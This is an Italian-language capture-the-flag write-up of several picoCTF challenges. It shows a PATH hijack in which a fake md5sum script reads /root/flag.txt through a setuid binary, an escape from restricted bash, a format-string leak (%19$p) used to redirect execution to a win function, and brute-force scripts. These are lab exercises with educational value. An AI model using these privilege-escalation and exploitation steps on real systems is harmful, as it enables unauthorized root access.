PW Crack 5
Apro il file python noto che posso usare brute-force e provare direttamente la dentro (aprendo il file) tutte le possibili password in
dictionary.txt
.
eseguo →
ps: lo avevo inizialmente fatto in bash ma era lento siccome aspettava input e poi eseguiva il comando
python3
… , quindi evitare input è piu veloce
Hash-only-1
Andiamo a vedere i file flaghasher
( lo copio in locale e no analizzo un po con strings
) → usando ltrace ./flaghasher
:
ottengo → system("/bin/bash -c 'md5sum /root/flag.txt'")
⇒ allora basta scrivere uno script chiamato proprio md5sum
e metterlo nel PATH come PRIMA CARTELLA DA VEDERE : $ export PATH=/tmp/:$PATH
.
Quindi dentro /tmp
andiamo a scrivere un file md5sum
con echo "#! /bin/bash" > md5sum
e poi echo "cat /root/flag.txt" >> md5sum
.
In questo modo riusciamo a exploitare ed a far eseguire al programma (probabilmente con setuid settato di root ) invece che /bin/md5sum
ma /tmp/md5sum
che stampa il flag.
Hash-only-2
Stessa cosa ma abbiamo una RBASH (Restrcted BASH) bhe allora per fare tutte le operazione digitiamo bash
per entrare in bash e fatto.
Pachinko
Dobbiamo non altro che provare tante volte → possiamo farlo in python con uno exploit :
import requests
import json
import re
FLAG_REGEX = r"picoCTF\{[^}]*\}"
url = "http://activist-birds.picoctf.net:60757/check"
headers = {"Content-Type": "application/json"}
data = {"circuit": [{"input1": 1, "input2": 2, "output": 3}]}
while True:
match = re.search(FLAG_REGEX, requests.post(url, data=json.dumps(data), headers=headers).text)
if match:
print("\nFLAG: ", match.group(0))
break
PIE TIME 2
BINARY-EXPLOITATION
Abbiamo questo file
vuln.c
con :
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer); // QUI POSSIAMO SFRUTTARE
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
Già vediamo un printf(buffer)
quindi possiamo sfruttare un format string vulnerability , che possiamo prendere delle informazioni dallo stack , inoltre abbiamo una funzione win
che ci da il flag.
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
Attenzione che non è come la PIE TIME 1 che ci dava direttamente l’indirizzo di main e noi quindi potevamo calcolare l’offset della funzione win. Quindi dobbiamo :
- capire dove sia l’indirizzo di ritorno della funzione
call_functions
in modo da “ovveridarla” - usare il format string per capire quanto è lontano questo return address
- calcolare l’offset da
main
awin
nello stack ci viene mostrato che il return address cercato è 0x555555555498
, ora possiamo usare python da riga di comando per stamparci una serie di %p
che stamperanno i vari indirizzi nello stack → python3 -c 'print("%p."*20)'
quindi come vediamo sembrano che bastino 19 %p
per arrivare a 0x555555555498
.
Ora dobbiamo calcolare l’offset da main
a offset
→ usiamo objdump -M intel -d vuln
→
Quindi l’offset =
0x1441 - 0x136a
= 215.
Quindi fatto basta che quando ci chiede il nome mettiamo %19$p
per darci il 19 esimo indirizzo e poi calcoliamo indirizzo - 215
( con hex()
di py ).
Guess My Cheese
CRYPTOGRAPHY
Hint : “Remember that cipher we devised together Squeexy? The one that incorporates your affinity for linear equations???”
Googlo un po e trovo che esiste un “affine cipher” che cifra una lettera x
secondo due parametri a
e b
→ → usiamo brute-force →
troviamo e , allora dobbiamo decriptare usando questi parametri →